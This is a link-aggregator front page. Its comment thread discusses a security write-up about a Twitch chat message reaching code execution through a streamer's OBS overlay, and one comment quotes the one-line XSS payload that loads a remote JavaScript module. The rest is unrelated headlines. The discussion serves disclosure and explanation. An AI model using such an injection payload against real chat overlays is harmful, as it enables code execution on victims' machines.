frontpage.
newsnewestaskshowjobs

Open Source @Github

fp.

Open in hackernews

How one Twitch chat message became code execution on a streamer’s PC

https://blog.scrt.ch/2026/09/22/how-one-twitch-chat-message-became-code-execution-on-a-streamers-pc/
19•tau255•23h ago

Comments

dang•59m ago
Url changed from https://cyberinsider.com/malicious-twitch-chat-messages-can-..., which points to this.
verteu•51m ago
tldr: XSS on OBS via the message

  !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a
Macha•25m ago
The interesting part IMO is less the XSS on the streamer's overlay, but the fact that it could escape the browser source web page into local code execution (via a combination of OBS disabling the chromium sandbox, and using an outdated CEF version)
Scryptonite•22m ago
Deja Vu. I had to submit an issue and fix a similar issue -- it was similarly Twitch chat overlay XSS, but for that they at least tried to strip the tags (but it was a poor JS implementation of PHP strip_tags), and didn't understand the issue until I crafted a image with onload/onerror to freeze/hang the chat overlay.

Does Georgism work? Five years later

https://www.astralcodexten.com/p/does-georgism-work-five-years-later
53•silveraxe93•1d ago•20 comments

DeepSeek Elastic Compute (DSec)

https://arxiv.org/abs/2609.22978
142•shenli3514•6h ago•40 comments

PipePipe: NewPipe hard fork implementing SponsorBlock

https://github.com/InfinityLoop1308/PipePipe
311•Qision•1d ago•164 comments

Evolving programming languages in the AI era

https://dashbit.co/blog/evolving-ai-era
17•pjm331•1d ago•9 comments

Show HN: Reladraw – A diagram language where you decide where to place things

https://github.com/reladraw/reladraw
167•jpwalsh234•7h ago•47 comments

An agent used DNS to reach an external chatbot

https://alignment.openai.com/misalignment-reports/an-agent-used-dns-to-reach-an-external-chatbot/
30•apsec112•20h ago•18 comments

A searchable library of forgotten public-domain film clips from 1915 onward

https://www.movingimagearchive.com/
102•momentmaker•2d ago•23 comments

Go Concurrency Distilled

https://antonz.org/go-concurrency-distilled/
13•chmaynard•10h ago•0 comments

Welcome to the Medical Clinic at the Interplanetary Relay Station

https://www.lightspeedmagazine.com/fiction/welcome-to-the-medical-clinic-at-the-interplanetary-re...
41•bucket2015•4h ago•7 comments

LA Metro has some of the slowest escalators on Earth

https://basin.la/articles/ninety-feet-a-minute.html
72•big_toast•2d ago•49 comments

Drawgent: Coding agent on a live Excalidraw canvas

https://tangled.org/yanndegat.tngl.sh/drawgent
102•parasitid•8h ago•32 comments

Fifteen years later, the Apple Cards origin story

https://lexontech.org/fifteen-years-later-the-apple-cards-origin-story
335•ksec•15h ago•86 comments

Reverse-engineering the Intel 8087's tangent algorithm: more than CORDIC

https://www.righto.com/2026/09/8087-tangent-cordic.html
15•pwg•7h ago•3 comments

The Lost Atomic Update on Loongson CPU

https://jia.je/hardware/2026/09/24/loongson-cpu-erratum-en/
108•jiegec•2d ago•6 comments

How one Twitch chat message became code execution on a streamer’s PC

https://blog.scrt.ch/2026/09/22/how-one-twitch-chat-message-became-code-execution-on-a-streamers-pc/
19•tau255•23h ago•4 comments

The Evolution of Vending Machines

https://www.saturdayeveningpost.com/2026/09/from-holy-water-to-frozen-meals-the-evolution-of-vend...
9•ohjeez•7h ago•0 comments

Modern Object Pascal Introduction for Programmers

https://castle-engine.io/modern_pascal
142•birdculture•2d ago•57 comments

ASML says it sold 'absolutely nothing' in Europe in 2026

https://www.tomshardware.com/tech-industry/semiconductors/asml-says-its-sells-absolutely-nothing-...
136•MC995•1d ago•368 comments

Generate fonts where every LLM token is the same width

https://ampdot.mesh.host/token-space-fonts.html
21•z-mach9•1d ago•5 comments

Promising discoveries about the potential for life on one of Saturn’s icy moons

https://www.fu-berlin.de/en/presse/informationen/fup/2026/fup_26_116-enceladus-cassini-mikroben-s...
12•geox•21h ago•3 comments

How I changed teaching after AI managed to do all my homework assignments

https://thelastsoftwareengineer.substack.com/p/how-i-changed-teaching-after-ai-managed
120•azhenley•2d ago•127 comments

How to keep enjoying programming in a world of LLMs

https://discourse.haskell.org/t/how-to-keep-enjoying-programming-in-a-world-of-llms/14705
148•signa11•14h ago•208 comments

Dutch designer made DE9: Closer to the Edit into a playable web-based instrument

https://www.creativeboom.com/work/why-merijn-straathof-turned-a-landmark-techno-album-into-a-play...
6•ChrisArchitect•2d ago•1 comments

HomeBody: A humanoid that explores, remembers, and acts on its own

https://tml.stanford.edu/homebody/
10•famouswaffles•5h ago•1 comments

Japan moves to tighten rules for foreigners

https://www.aljazeera.com/economy/2026/9/25/japan-moves-to-tighten-rules-for-foreigners-throwing-...
120•mikhael•6h ago•316 comments

Analyzing Frontier Model Progress with My Favourite Game: Prince of Persia

https://blog.priyan.in/2026/09/analyzing-frontier-model-progress-with.html
55•msephton•1d ago•38 comments

Turning GLM-5.3-Flash into a Jev-like decision model

https://www.privatemode.ai/blog/system-one-from-glm-flash
8•flxflx•8h ago•3 comments

Reading’s Bayeux Tapestry

https://diamondgeezer.blogspot.com/2026/09/readings-bayeux-tapestry.html
10•zeristor•13h ago•1 comments

Breaking Up with Google Play: Why Conversations Is Now Free

https://gultsch.de/posts/breaking-up-with-google-play/
630•ezst•13h ago•249 comments

The Rise of Audio AR

https://www.dbreunig.com/2024/04/10/the_rise_of_audio_ar.html
28•dbreunig•2d ago•10 comments